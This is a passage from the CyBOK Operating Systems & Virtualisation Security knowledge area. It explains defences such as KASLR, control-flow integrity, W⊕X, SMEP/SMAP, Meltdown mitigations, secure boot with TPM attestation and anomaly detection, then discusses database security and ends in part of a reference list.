cation of other components may be desirable, but is not essential for isolation. Of course, the
verification itself is only as good as the underlying specification. If you get that wrong, it does
not matter if you have verified it, you may still be vulnerable.
Despite our best efforts, however, we have not been able to eradicate all security bugs from
large, real-world systems. To guard themselves against the types of attacks described in the
threats model, modern operating systems employ a variety of solutions to complement the
above isolation and mediation primitives. We distinguish between five different classes of
11
Version 11 of the ME, at the time of writing, is based on MINIX-3.

KA Operating Systems & Virtualisation Security | July 2021 Page 27

 The Cyber Security Body Of Knowledge
www.cybok.org

protection: information hiding, control flow restrictions, partitioning, code and data integrity
checks, and anomaly detection.

5.1 Information hiding

One of the main lines of defense in most current operating systems consists of hiding whatever
the attackers may be interested in. Specifically, by randomising the location of all relevant
memory areas (in code, heap, global data and stack), attackers will not know where to divert
the control flow, nor will they be able to spot which addresses contain sensitive data, etc. The
term Address Space Layout Randomization (ASLR) was coined around the release of the PaX
security patch, which implemented this randomisation for the Linux kernel in 2001 [72]—see
also the discussion in the Software Security CyBOK Knowledge Area [73]. Soon, similar efforts
appeared in other operating systems and the first mainstream operating systems to have
ASLR enabled by default were OpenBSD in 2003 and Linux in 2005. Windows and MacOS
followed in 2007. However, these early implementations only randomised the address space
in user programs and randomisation did not reach the kernel of major operating systems,
under the name of Kernel ASLR (KASLR), until approximately a decade after it was enabled by
default in user programs.
The idea of KASLR is simple, but there are many non-trivial design decisions to make. For
instance, how random is random? In particular, what portion of the address do we randomise?
Say your Linux kernel has an address range of 1GB (=230 ) for the code, and the code should
be aligned to 2MB (=221 ) boundaries. The number of bits available for randomisation (the
entropy) is 30 − 21 = 9 bits. In other words, we need at most 512 guesses to find the kernel
code. If attackers find a vulnerability to divert the kernel’s control flow to a guessed address
from a userspace program and each wrong guess leads to a system crash, it would suffice
to have userspace access to a few hundred machines to get it right at least once with high
probability (although many machines will crash in the process).
Another important decision is what to randomise. Most implementations today employ coarse-
grained randomisation: they randomise the base location of the code, heap or stack, but within
each of these areas, each element is at a fixed offset from the base. This is simple and
very fast. However, once attackers manage to get hold of even a single code pointer via an
information leak, they know the addresses for every instruction. The same is true, mutatis
mutandis, for the heap, stack etc. It is no surprise that these information leaks are highly
valued targets for attackers today.
Finer-grained randomisation is also possible. For instance, it is possible to randomise at
the page level or the function level. If we shuffle the order of functions in a memory area,
even knowing the base of the kernel code is not sufficient for an attacker. Indeed, we can go
more fine-grained still, and shuffle basic blocks, instructions (possibly with junk instructions
that never execute or have no effect) or even the register allocations. Many fine-grained
randomisation techniques come at the cost of space and time overheads, for instance, due to
reduced locality and fragmentation.
Besides the code, fine-grained randomisation is also possible for data. For instance, research
has shown that heap allocations, globals and even variables on the stack can be scattered
around memory. Of course, doing so will incur a cost in terms of performance and memory.
Considering KASLR, and especially coarse-grained KASLR, as our first line of defense against
memory error exploits would not be far off the mark. Unfortunately, it is also a very weak

KA Operating Systems & Virtualisation Security | July 2021 Page 28

 The Cyber Security Body Of Knowledge
www.cybok.org

defense. Numerous publications have shown that KASLR can be broken fairly easily, by leaking
data and/or code pointers from memory, side channels, etc.

5.2 Control-flow restrictions

An orthogonal line of defense is to regulate the operating system’s control flow. By ensuring
that attackers cannot divert control to code of their choosing, we make it much harder to
exploit memory errors, even if we do not remove them. The best example is known as Control-
Flow Integrity (CFI) [71], which is now supported by many compiler toolchains (such as LLVM
and Microsoft’s Visual Studio) and incorporated in the Windows kernel under the name of
Control Flow Guard as of 2017 — see also the Software Security CyBOK Knowledge Area [73].
Conceptually, CFI is really simple: we ensure that the control flow in the code always follows
the static control flow graph. For instance, a function’s return instruction should only be
allowed to return to its callsite, and an indirect call using a function pointer in C, or a virtual
function in C++, should only be able to target the entry point of the legitimate functions that it
should be able to call. To implement this protection, we can label all the legitimate targets
for an indirect control transfer instruction (returns, indirect calls and indirect jumps) and add
these labels to a set that is specific for this instruction. At runtime, we check whether the
control transfer the instruction is about to make is to a target that is in the set. If not, CFI
raises an alarm and/or crashes the program.
Like ASLR, CFI comes in many flavours, from coarse-grained to fine-grained, and from context
sensitive to context insensitive. And just like in ASLR, most implementations today employ
only the simplest, most coarse-grained protection. Coarse-grained CFI means relaxing the
rules a little, in the interest of performance. For instance, rather than restricting a function’s
return instruction to target-only legitimate call sites that could have called this function, it may
target any call site. While less secure than fine-grained CFI [74], it still restricts the attackers’
wiggle room tremendously, and has a much faster runtime check.
On modern machines, some forms of CFI are (or will be) even supported by hardware. For
instance, Intel Control-Flow Enforcement Technology (CET) supports shadow stacks and
indirect branch tracking to help enforce the integrity of returns and forward-edge control
transfers (in a very coarse-grained way), respectively. Not to be outdone, ARM provides pointer
authentication to prevent illegitimate modification of pointer values—essentially by using the
upper bits of a pointer to store a Pointer Authentication Code (PAC), which functions like a
cryptographic signature on the pointer value (and unless you get the PAC right, your pointer is
not valid).
Unfortunately, CFI only helps against attacks that change the control flow—by corrupting
control data such as return addresses, function pointers and jump targets—but is powerless
against non-control data attacks. For instance, it cannot stop a memory corruption that
overwrites the privilege level of the current process and sets it to ‘root’ (e.g., by setting the
effective user id to that of the root user). However, if restrictions on the control flow are such
a success in practice, you may wonder if similar restrictions are also possible on data flow.
Indeed they are, which is called Data-Flow Integrity (DFI) [75]. In DFI, we determine statically
for each load instruction (i.e., an instruction that reads from memory) which store instructions
may legitimately have produced the data, and we label these instructions and save these
labels in a set. At runtime we remember, for each byte in memory, the label of the last store to
that location. When we encounter a load instruction, we check if the last store to that address
is in the set of legitimate stores, and if not, we raise an alarm. Unlike CFI, DFI has not been

KA Operating Systems & Virtualisation Security | July 2021 Page 29

 The Cyber Security Body Of Knowledge
www.cybok.org

widely adopted in practice, presumably because of the significant performance overheads.

5.3 Partitioning.
Besides the structural decomposition of a system in different security domains (e.g, into
processes and the kernel) protected by isolation primitives with or without hardware support,
there are many additional techniques that operating systems employ to make it harder for
attackers to compromise the TCB. In this section, we discuss the most prominent ones.
W⊕X memory. To prevent code injection attacks, whereby the attackers transfer control to
a sequence of instructions they have stored in memory areas that are not meant to contain
code such as the stack or the heap, operating systems today draw a hard line between code
and data [70]. Every page of memory is either executable (code pages) or writable, but not
both at the same time. The policy, frequently referred to as W⊕X (‘write xor execute’), prevents
the execution of instructions in the data area, but also the modification of existing code.
In the absence of code injection, attackers interested in diverting the of the program are
forced to reuse code that is already present. Similar mechanisms are used to make sensitive
data in the kernel (such as the system call table, the interrupt vector table, etc.) read-only
after initialisation. All major operating systems support this mechanism, typically relying
on hardware support (the NX bit in modern processors12 )—even if the details differ slightly,
and the name may vary from operating system to operating system. For instance, Microsoft
refers to its implementation by the name Data Execution Prevention (DEP). Preventing the
kernel from accessing userspace. We have already seen that operating systems use the CPU’s
protection rings to ensure that user processes cannot access arbitrary data or execute code
in the operating system, in accordance with the security principles by Saltzer & Schroeder,
which prescribe that all such accesses be mediated. However, sometimes we also need to
protect the other direction and prevent the kernel from blindly accessing (or worse, executing)
things in userspace.
To see why this may be bad, consider an operating system where the kernel is mapped into
every process’ address space and whenever it executes a system call, it executes the kernel
code using the process’ page tables. This is how Linux worked from its inception in 1991
until December 2017. The reason is that doing so is efficient, as there is no need to switch
page tables when executing a system call, while the kernel can efficiently access all the
memory. Also since the kernel pages have the supervisor (S) bit set, there is no risk that the
user process will access the kernel memory. However, suppose the kernel has a bug that
causes it to de-reference a function pointer that under specific circumstances happens to be
NULL. The most likely thing to happen is that the kernel crashes. After all, the kernel is trying
to execute code on a page that is not valid. But what if a malicious process deliberately maps
a page at address 0, and fills it with code that changes the privileges of the current process to
that of root? In that case, the kernel will execute the code, with kernel privileges. This is bad.
It should now be clear that the kernel should probably not blindly execute process code. Nor
should it read blindly from user data. After all, an attacker could use it to feed malicious data
to the kernel instructions. To prevent such accesses, we need even more isolation than that
provided by the default rings. For this reason, many CPUs today provide Supervisor Mode
Execution Protection (SMEP) and Supervisor Mode Access Protection (SMAP)13 . SMEP and
12
NX (no execute) is how AMD originally called the feature in its x86 compatible CPUs. Intel calls it Execute
Disable (XD) and ARM Execute Never (XN).
13
Again, this is x86 terminology. On ARM similar features are called Privileged Access Never (PAN) and

KA Operating Systems & Virtualisation Security | July 2021 Page 30

 The Cyber Security Body Of Knowledge
www.cybok.org

SMAP are enabled by setting the appropriate bits in a control register. As soon as they are
on, any attempt to access or transfer control to user memory will result in a page fault. Of
course, this also means that SMAP should be turned off explicitly whenever the kernel needs
to access user memory.
Some operating systems, including Linux, got SMEP-like restrictions ‘for free’ on systems
vulnerable to the Meltdown vulnerability in 2017 [13], which forced them to adopt an alternative
design, which came with a price tag. In particular, they were forced to abandon the single
address space (where the kernel executes in the address space of the process), because of
the Meltdown out-of-order execution side channel from Table 1. To recap, the Meltdown (and
related Spectre) attacks consist of attackers abusing the CPU’s (over-)optimism about what
happens in the instructions it executes out-of-order or speculatively. For instance, it wrongly
assumes that load instructions have the privilege to read the data they access, the outcome
of a branch is the same as the previous time a branch at a similar address was executed, or
the data needed for a load instruction is probably the data in this temporary CPU buffer that
was just written. However, even if any of these assumptions are wrong, the CPU can recover
by squashing the results of the code that was executed out-of-order or speculatively.
In a Meltdown-like attack, the attackers’ process executes an out-of-order instruction to read
a byte at a (supposedly inaccessible) kernel address, and the CPU optimistically assumes
all is well and simply accesses the byte. Before the CPU realises things are not well after all
and this byte should not be accessible, the attackers have already used the byte to read a
particular element in a large array in their own process’ address space . Although the CPU will
eventually squash all the results, the damage is already done: even though the byte cannot be
read directly, the index of the array element that is in the cache (and is, therefore, measurably
faster to access than the other elements) must be the kernel byte.
To remedy this problem on somewhat older processors that do not have a hardware fix for
this vulnerability, operating systems such as Linux use a design that completely separates
the page tables of the kernel from those of the processes. In other words, the kernel also
runs in its own address space, and any attempt by an out-of-order instruction to read a kernel
address will fail. The kernel can still map in the pages of the user process and thus access
them if needed, but the permissions can be different. Specifically, if they are mapped in as
non-executable, we basically get SMEP functionality for free.
For other vulnerabilities based on speculative execution (such as Spectre and RIDL), the fix is
more problematic. Often, multiple different spot solutions are used to patch the most serious
issues. For instance, after a bounds check that could be influenced by untrusted users, we
may want to insert special instructions to stop speculation completely. Likewise, operating
systems such as Windows try to "gang schedule" only code that belongs to the same security
domain on the same core (so that leaking from on thread to another on the same core is
less of an issue), while others such as OpenBSD disable hyperthreading altogether on Intel
processors. However, it is unclear how complete the set of patches will be, while we are
waiting for the hardware to be fixed.
Partitioning micro-architectural states Sophisticated side channel attacks build on the aggres-
sive resource sharing in modern computer systems. Multiple security domains share the
same cache, the same TLB, the same branch predictor state, the same arithmetic units, etc.
Sharing is good for efficiency, but, as indicated by the Principle of Least Common Mechanism,
they also give rise to side channels. To prevent such attacks, operating systems may need to
Privileged Execute Never (PXN).

KA Operating Systems & Virtualisation Security | July 2021 Page 31

 The Cyber Security Body Of Knowledge
www.cybok.org

sacrifice some of the efficiency and partition resources even at fine granularity. For instance,
by means of page colouring in software or hardware-based cache allocation technology, an op-
erating system may give different processes access to wholly disjointed portions of the cache
(e.g., separating the cache sets or separating the ways within a cache set). Unfortunately,
partitioning is not always straightforward and currently not supported for many low-level
resources.

5.4 Code and data integrity checks

One way to reduce the exploitability of code in an operating system, is to ensure that the
code and/or data is unmodified and provided by a trusted vendor. For instance, for many
years Windows has embraced driver signing. Some newer versions have taken this a step
further and use a combination of hardware and software security features to lock a machine
down, ensuring that it runs only trusted code/apps—a process referred to by Microsoft as
‘Device Guard’. Even privileged malware cannot easily get non-authorised apps to run, as the
machinery to check whether to allow an app to run sits in a hardware-assisted virtualised
environment. Most code signing solutions associate digital signatures associated with the
operating system extensions allow the operating system to check whether the code’s integrity
is intact and the vendor is legitimate. A similar process is popularly used for updates.
However, what about the code that checks the signature and, indeed, the operating system
itself—are we sure that this has not been tampered with by a malicious bootkit? Ensuring the
integrity of the system software that is loaded during the booting involves a number of steps,
mostly related to the multiple steps in the boot process itself. From the earliest commercial
computers onward, booting involved multiple stages. Even the IBM 701, a popular computer
in the early 1950s with as many as 19 installations, already had such a multi-stage booting
procedure that started with pressing a special ‘Load’ button to make the system load a single
36-bit word from, typically, a punched card. It would execute (part of) this word to load even
more instructions, and then start executing these instructions as the "boot program".
In general, securely booting devices starts with an initial ‘root of trust’ which initiates the
booting process and is typically based in hardware, for instance, a microcontroller that starts
executing software from internal, immutable memory, or from internal flash memory that
cannot be reprogrammed at all, or only with strict authentication and authorisation checks.
As an example, modern Apple computers use a separate processor, the T2 Security Chip,
to provide the hardware root of trust for secure boot among other things, while Google has
also developed a custom processor for this called the Titan. We will now discuss how a
hardware-root of trust helps to verify that a system booted securely.
Booting general-purpose computers typically starts with the firmware which initiates a se-
quence of stages that ends with a fully booted system. For instance, the firmware may load a
special bootloader program which then loads the operating system kernel which in turn may
load additional boot drivers until finally the operating system is fully initialised and ready to
interact with the user or applications. All of these stages need protection. For instance,the
Unified Extensible Firmware Interface (UEFI) can protect the first stage (i.e., verify the integrity
of the bootloader), by means of Secure Boot. Secure boot verifies whether the boot loaders
were signed with the appropriate key, i.e., using keys that agree with the key information that is
stored in the firmware. This will prevent loaders and drivers without the appropriate signatures
from gaining control of the system. The bootloader can now verify the digital signature of the
operating system kernel before loading it. Next, the kernel verifies all other components of the

KA Operating Systems & Virtualisation Security | July 2021 Page 32

 The Cyber Security Body Of Knowledge
www.cybok.org

operating system (such as boot drivers and possibly integrated anti-malware software) before
starting them. By starting the anti-malware program before other drivers, it can subsequently
check all these later components, and extend the chain of trust to a fully initialised operating
system.
The next problem is: how do we know that this is the case? In other words, how do we know
that the system really did boot securely and we can trust whatever is displayed on the screen?
The trick here is to use attestation, whereby a (remote) party can detect any changes that
have been made to our system. Remote attestation typically uses special hardware such
as a Trusted Platform Module (TPM) that serves as a root of trust and consists of verifying,
in steps, whether the system was loaded with the ‘right’ kind of software. In particular, a
TPM is a cryptograhic hardware module that supports a range of cryptographic functions,
key generation and management, secure storage (e.g., for keys and other security-sensitive
information), and importantly, integrity measurements. See the Hardware Security CyBOK
Knowledge Area [65] for further discussion.
For the integrity measurements, TPMs have a set of Platform Configuration Registers called
PCR-0, PCR-1, . . . , that are set to a known value on every boot. These registers are not for
writing to directly, but rather for extending. So, if the current value of the PCR-0 register is X
and we want to extend it with Y , the TPM calculates hash(X, Y ) and stores the outcome in
PCR-0. Now, if we want to extend it further, say with Z, the TPM again calculates the hash of
Z and the value currently in PCR-0 and stores the outcome in PCR-0. In other words, it will
calculate hash(Z, hash(X, Y )). We can now extend this further and create an arbitrarily long
“hash chain".
The values in the PCRs can serve as evidence that the system is in a trustworthy state.
Specifically, the first code that executes when you boot your system is firmware boot code
that is sometimes referred to as the Core Root of Trust for Measurements (CRTM) or BIOS
boot block. This code will ‘measure’ the full firmware by generating a hash of its content
which it sends to the TPM to extend PCR-0, before it starts executing it. Next, the firmware
that is now executing will measure the next component of the boot process and again store
the value in a PCR of the TPM (e.g., by extending PCR-0), before executing it. After a number
of these stages, the PCR register(s) contain a hash chain of all steps that the system took to
boot. A remote party can now verify whether the system booted securely by asking the TPM
for a ‘quote’: a report of a set of PCR values currently in PCRs (together with a nonce supplied
by the remote party), that is signed with the TPM’s private Attestation Identity Key that never
leaves the TPM (and derives from a hardcoded key that was created at manufacturing time).
As the public key is well-known, anyone can verify that the quote came from the TPM. Upon
receiving the quote and after verifying that it came from the TPM and that it was fresh, the
remote party knows that the booting process could only have followed the steps that created
these hashes in the PCRs. If they correspond to the hashes of known and trusted code, the
remote party knows that the system booted securely.
Code and data integrity checking may well continue at runtime. For instance, the hypervisor
may provide functionality to perform introspection of its virtual machines: is the code still the
same, do the data structures still make sense? This technique is known as Virtual Machine
Introspection (VMI). The VMI functionality may reside in the hypervisor itself, although it could
be in a separate application. Besides the code, common things to check in VMI solutions
include the process list (is any rootkit trying to hide?), the system call table (is anybody
hijacking specific system calls?), the interrupt vector table, etc.

KA Operating Systems & Virtualisation Security | July 2021 Page 33

 The Cyber Security Body Of Knowledge
www.cybok.org

5.5 Anomaly detection

A monitor, be it in the hypervisor or in the operating system, can also be used to monitor
the system for unusual events—anomaly detection [76]. For instance, a system that crashes
hundreds of times in a row could be under attack by someone who is trying to break the
system’s address space layout randomisation. Of course, there is no hard evidence and just
because an anomaly occurred does not mean there is an attack. Anomaly detection systems
must strike a balance between raising too many false alarms, which are costly to process,
and raising too few, which means it missed an actual attack.

6 OPERATING SYSTEMS, HYPERVISORS—WHAT ABOUT

RELATED AREAS?
[33, c4,c7]
The problems that we encounter at the operating system and hypervisor levels resurface
in other systems areas and the solutions are sometimes similar. In this section, we briefly
discuss databases as an example of how operating system security principles, issues and
solutions are applied to other domains [77]. Security in database systems follows similar
principles as those in operating systems with authentication, privileges, access control and
so on as prime concerns. The same is true for access control, where many databases offer
discretionary access control by default, and role-based and mandatory access control for
stricter control to more sensitive data. Representing each user as a security domain, the
questions we need to answer concern, for instance, the user’s privileges, the operations that
should be logged for auditing, and the resource limits such as disk quota, CPU processing
time, etc. A user’s privileges consist of the right to connect to the database, create tables,
insert rows in tables, or retrieve information from other users’ tables, and so on. Note that
sometimes users who do not have access to a database except by means of a specific
SQL query may craft malicious inputs to elevate their privileges in so-called SQL injection
attacks [78].
While database-level access control limits who gets access to which elements of a database,
it does not prevent accesses at the operating system level to the data on disk. For this reason,
many databases support transparent data encryption of sensitive table columns on disk—
often storing the encryption keys in a module outside the database. In an extreme case, the
data in the database may be encrypted while only the clients hold the keys.
Querying such encrypted data is not trivial [79]. While sophisticated cryptographic solutions
(such as homomorphic encryption) exist, they are quite expensive and simpler solutions are
commonly used. For instance, sometimes it is sufficient to store the hash of a credit card
number, say, instead of the actual number and then query the database for the hash. Of course,
in that case, only exact matches are possible—as we cannot query to see if the value in the
database is greater than, smaller than, or similar to some other value (nor are aggregated
values such as averages or sums possible). The problem of querying encrypted databases is
an active field of research and beyond the scope of this Knowledge Area.
While security and access control in regular databases is non-trivial already, things get even
more complex in the case of Outsourced Databases (ODBs), where organisations outsource
their data management to external service providers [80]. Specifically, the data owner creates
and updates the data at an external database provider, which then deals with the client’s

KA Operating Systems & Virtualisation Security | July 2021 Page 34

 The Cyber Security Body Of Knowledge
www.cybok.org

queries. In addition to our earlier concerns about confidentiality and encryption, questions
that arise concern the amount of trust to place in the provider. Can the data owner or the
querying client trust the provider to provide data that was created by the original data owner
(authenticity), unmodified (integrity), and fresh results to the queries? Conceptually, it is
possible to guarantee integrity and authenticity by means of signatures. For instance, the
data owner may sign entire tables, rows/records in a table, or even individual attributes in a
row, depending on the desired granularity and overhead. More advanced solutions based on
authenticated data structures are also commonly advocated, such as Merkle hash trees. In
Merkle hash trees, originally used to distribute authenticated public keys, leaf nodes in the
tree contain a hash of their data value (the database record), each non-leaf node contains a
hash of the hashes of its children, and the root node’s hash is signed and published. All that is
needed to verify if a value in a leaf node is indeed part of the original signed hash tree is the
hashes of the intermediate nodes, which the client can quickly verify with a number of hashes
proportional to the logarithm of the size of the tree. Of course, range queries and aggregation
are more involved and researchers have proposed much more complex schemes than Merkle
hash trees, but these are beyond the scope of this knowledge area. The take-away message
is that with some effort we can guarantee authenticity, integrity and freshness, even in ODBs.

7 EMBRACING SECURITY
[5, c9][33, c1-c21]
Increasingly advanced attacks are leading to increasingly advanced defenses. Interestingly,
many of these innovations in security do not originally come from the operating system
vendors or large open source kernel teams, but rather ‘from the outside’—sometimes academic
researchers, but in the case of operating system security, also often from independent groups
such as GRSecurity and the PaX Team. For instance, the PaX Team introduced ASLR as
early as 2001, played a pioneering role in making data areas non-executable and executable
sections non-writable, as well as in ensuring the kernel cannot access/execute user memory.
Surprisingly, where you might think that the major operating systems would embrace these
innovations enthusiastically, the opposite is often true and security measures are adopted
inconsistently.
The main reason is that nothing is free and a slow-down or increase in power consumption
because of a security measure is not very popular. The Linux kernel developers in particular
have been accused of being obsessed with performance and having too little regard for
security. However, when the situation is sufficiently pressing, there is no other way than to
deal with the problem, even if it is costly. In operating systems, this performance versus
security trade-off has become increasingly important. Research often focuses on methods
that significantly raise the bar for attackers, at an acceptable overhead.

KA Operating Systems & Virtualisation Security | July 2021 Page 35

 The Cyber Security Body Of Knowledge
www.cybok.org

CONCLUSION
In this Knowledge Area, we addressed security issues at the lowest levels of the software stack:
the operating system and the hypervisor. Operating system / hypervisor security involves
both the security of the operating system / hypervisor and the security guarantees offered by
the operating system / hypervisor. As the most privileged components, operating systems
and hypervisors play a critical role in making systems (in)secure. Unfortunately, the attack
surface of a modern operating system or hypervisor is often large and threats of increasing
sophistication involving both software and hardware call for increasingly powerful defenses
also involving software and hardware. Starting from security principles and fundamentals,
we showed that the system’s security is influenced by the design of the system (e.g., in
the isolation of security domains), and the available security primitives and mechanisms to
enforce the principles (e.g., memory isolation, capabilities, protection rings). Many of the
principles of operating system design are useful across many application domains and are
commonly applied in other areas, such as database management systems. As with most
domains, we saw that design decisions at the operating system/hypervisor level are a trade-off
between security and performance—a balancing act that often slows down the adoption of
security measures.

CROSS-REFERENCE OF TOPICS VS REFERENCE MATERIAL

[40]
[39]
[33]

[34]
[21]
[5]

[4]

[6]

[2]

[1]

1 Attacker model c9 c1-c9 [6] [2] c1

2 OS design and security c1-c12 [2] c1 [1] [34] [40]
3 Principles and models c9 c4,c7 [1] [34]
4 primitives c3,c9 c4,c7 [1] [34] c1-c9 [40]
5 OS hardening c9 c1-c9 [6]
6 Security in databases c4,c6 [6]
7 Embracing Security c9 c1-c21 [6]

REFERENCES
[1] J. H. Saltzer and M. D. Schroeder, “The protection of information in computer systems,”
Proceedings of the IEEE, vol. 63, no. 9, pp. 1278–1308, 1975. [Online]. Available:
https://doi.org/10.1109/PROC.1975.9939
[2] D. Sgandurra and E. Lupu, “Evolution of attacks, threat models, and solutions for
virtualized systems,” ACM Computing Surveys, vol. 48, no. 3, pp. 46:1–46:38, Feb. 2016.
[Online]. Available: http://doi.acm.org/10.1145/2856126
[3] G. C. Hunt and J. R. Larus, “Singularity: Rethinking the software stack,” SIGOPS
Oper. Syst. Rev., vol. 41, no. 2, pp. 37–49, Apr. 2007. [Online]. Available: http:
//doi.acm.org/10.1145/1243418.1243424
[4] E. Perla and M. Oldani, A Guide to Kernel Exploitation: Attacking the Core. Syngress
Publishing, 2010.
[5] A. S. Tanenbaum and H. Bos, Modern operating systems. Pearson, 2015.

KA Operating Systems & Virtualisation Security | July 2021 Page 36

 The Cyber Security Body Of Knowledge
www.cybok.org

[6] V. van der Veen, N. Dutt-Sharma, L. Cavallaro, and H. Bos, “Memory errors:
The past, the present, and the future,” in RAID, Oct. 2012. [Online]. Available:
http://www.few.vu.nl/~herbertb/papers/memerrors_raid12.pdf
[7] S. Boyd-Wickizer and N. Zeldovich, “Tolerating malicious device drivers in linux,” in
Proceedings of the 2010 USENIX Conference on USENIX Annual Technical Conference,
ser. USENIXATC’10. Berkeley, CA, USA: USENIX Association, 2010, pp. 9–9. [Online].
Available: http://dl.acm.org/citation.cfm?id=1855840.1855849
[8] B. Grill, A. Bacs, C. Platzer, and H. Bos, “Nice boots—a large-scale analysis of
bootkits and new ways to stop them,” in DIMVA, Sep. 2015. [Online]. Available:
http://www.cs.vu.nl/%7Eherbertb/papers/bootkits_dimva2015.pdf
[9] Y. Kim, R. Daly, J. Kim, C. Fallin, J. H. Lee, D. Lee, C. Wilkerson, K. Lai, and O. Mutlu,
“Flipping bits in memory without accessing them: An experimental study of DRAM
disturbance errors,” in Proceeding of the 41st Annual International Symposium on
Computer Architecuture, ser. ISCA ’14. Piscataway, NJ, USA: IEEE Press, 2014, pp.
361–372. [Online]. Available: http://dl.acm.org/citation.cfm?id=2665671.2665726
[10] P. Wang, J. Krinke, K. Lu, G. Li, and S. Dodier-Lazaro, “How double-fetch situations
turn into double-fetch vulnerabilities: A study of double fetches in the linux
kernel,” in Proceedings of the 26th USENIX Conference on Security Symposium, ser.
SEC’17. Berkeley, CA, USA: USENIX Association, 2017, pp. 1–16. [Online]. Available:
http://dl.acm.org/citation.cfm?id=3241189.3241191
[11] R. N. M. Watson, “Exploiting concurrency vulnerabilities in system call wrappers,”
in Proceedings of the First USENIX Workshop on Offensive Technologies, ser. WOOT
’07. Berkeley, CA, USA: USENIX Association, 2007, pp. 2:1–2:8. [Online]. Available:
http://dl.acm.org/citation.cfm?id=1323276.1323278
[12] F. Liu, Y. Yarom, Q. Ge, G. Heiser, and R. B. Lee, “Last-level cache side-channel attacks
are practical,” in Security and Privacy (SP), 2015 IEEE Symposium on. IEEE, 2015, pp.
605–622.
[13] M. Lipp, M. Schwarz, D. Gruss, T. Prescher, W. Haas, A. Fogh, J. Horn, S. Mangard,
P. Kocher, D. Genkin, Y. Yarom, and M. Hamburg, “Meltdown: Reading kernel memory from
user space,” in Proceedings of the 27th USENIX Conference on Security Symposium, ser.
SEC’18. Berkeley, CA, USA: USENIX Association, 2018, pp. 973–990. [Online]. Available:
http://dl.acm.org/citation.cfm?id=3277203.3277276
[14] P. Kocher, D. Genkin, D. Gruss, W. Haas, M. Hamburg, M. Lipp, S. Mangard, T. Prescher,
M. Schwarz, and Y. Yarom, “Spectre attacks: Exploiting speculative execution,” ArXiv
Preprint ArXiv:1801.01203, 2018.
[15] J. Van Bulck, M. Minkin, O. Weisse, D. Genkin, B. Kasikci, F. Piessens, M. Silberstein,
T. F. Wenisch, Y. Yarom, and R. Strackx, “Foreshadow: Extracting the keys
to the Intel SGX kingdom with transient out-of-order execution,” in Proceedings
of the 27th USENIX Conference on Security Symposium, ser. SEC’18. Berkeley,
CA, USA: USENIX Association, 2018, pp. 991–1008. [Online]. Available: http:
//dl.acm.org/citation.cfm?id=3277203.3277277
[16] S. van Schaik, A. Milburn, S. Österlund, P. Frigo, G. Maisuradze, K. Razavi, H. Bos, and
C. Giuffrida, “RIDL: Rogue In-flight Data Load,” in S&P, May 2019. [Online]. Available:
https://mdsattacks.com/files/ridl.pdf

KA Operating Systems & Virtualisation Security | July 2021 Page 37

 The Cyber Security Body Of Knowledge
www.cybok.org

[17] B. Gras, K. Razavi, H. Bos, and C. Giuffrida, “Translation leak-aside buffer: Defeating
cache side-channel protections with TLB attacks,” in USENIX Security, Aug. 2018. [Online].
Available: https://www.vusec.net/download/?t=papers/tlbleed_sec18.pdf
[18] E. Bosman, K. Razavi, H. Bos, and C. Giuffrida, “Dedup est machina: Memory deduplication
as an advanced exploitation vector,” in IEEE Security & Privacy, May 2016. [Online].
Available: https://www.vusec.net/download/?t=papers/dedup-est-machina_sp16.pdf
[19] P. Larsen and A.-R. Sadeghi, Eds., The Continuing Arms Race: Code-Reuse Attacks and
Defenses. New York, NY, USA: Association for Computing Machinery and Morgan &
Claypool, 2018.
[20] A. Kurmus, R. Tartler, D. Dorneanu, B. Heinloth, V. Rothberg, A. Ruprecht, W. Schröder-
Preikschat, D. Lohmann, and R. Kapitza, “Attack surface metrics and automated
compile-time OS kernel tailoring,” in NDSS. The Internet Society, 2013. [Online]. Available:
http://dblp.uni-trier.de/db/conf/ndss/ndss2013.html#KurmusTDHRRSLK13
[21] T. Jaeger, Operating System Security, 1st ed. Morgan and Claypool Publishers, 2008.
[22] D. M. Ritchie and K. Thompson, “The UNIX time-sharing system,” Communications
of the ACM, vol. 17, no. 7, pp. 365–375, Jul. 1974. [Online]. Available: http:
//doi.acm.org/10.1145/361011.361061
[23] M. Accetta, R. Baron, W. Bolosky, D. Golub, R. Rashid, A. Tevanian, and M. Young, “Mach:
A new kernel foundation for UNIX development,” Computer Science Department Carnegie
Mellon University, Tech. Rep., 1986.
[24] J. N. Herder, H. Bos, B. Gras, P. Homburg, and A. S. Tanenbaum, “MINIX 3: A highly
reliable, self-repairing operating system,” SIGOPS Oper. Syst. Rev., vol. 40, no. 3, pp.
80–89, Jul. 2006. [Online]. Available: http://doi.acm.org/10.1145/1151374.1151391
[25] D. R. Engler, M. F. Kaashoek, and J. O’Toole, Jr., “Exokernel: An operating system
architecture for application-level resource management,” in Proceedings of the Fifteenth
ACM Symposium on Operating Systems Principles, ser. SOSP ’95. New York, NY, USA:
ACM, 1995, pp. 251–266. [Online]. Available: http://doi.acm.org/10.1145/224056.224076
[26] I. M. Leslie, D. McAuley, R. Black, T. Roscoe, P. Barham, D. Evers, R. Fairbairns, and
E. Hyden, “The design and implementation of an operating system to support distributed
multimedia applications,” IEEE J.Sel. A. Commun., vol. 14, no. 7, pp. 1280–1297, Sep. 96.
[Online]. Available: http://dx.doi.org/10.1109/49.536480
[27] A. Madhavapeddy and D. J. Scott, “Unikernels: Rise of the virtual library operating
system,” Queue, vol. 11, no. 11, pp. 30:30–30:44, Dec. 2013. [Online]. Available:
http://doi.acm.org/10.1145/2557963.2566628
[28] A. S. Tanenbaum, Operating Systems: Design and Implementation. Upper Saddle River,
NJ, USA: Prentice-Hall, Inc., 1987.
[29] A. Baumann, P. Barham, P.-E. Dagand, T. Harris, R. Isaacs, S. Peter, T. Roscoe,
A. Schüpbach, and A. Singhania, “The multikernel: A new OS architecture for scalable
multicore systems,” in Proceedings of the ACM SIGOPS 22Nd Symposium on Operating
Systems Principles, ser. SOSP ’09. New York, NY, USA: ACM, 2009, pp. 29–44. [Online].
Available: http://doi.acm.org/10.1145/1629575.1629579
[30] Version 7 Unix, “chroot,” Modern chroot man page http://man7.org/linux/man-pages/
man2/chroot.2.html, 1979.

KA Operating Systems & Virtualisation Security | July 2021 Page 38

 The Cyber Security Body Of Knowledge
www.cybok.org

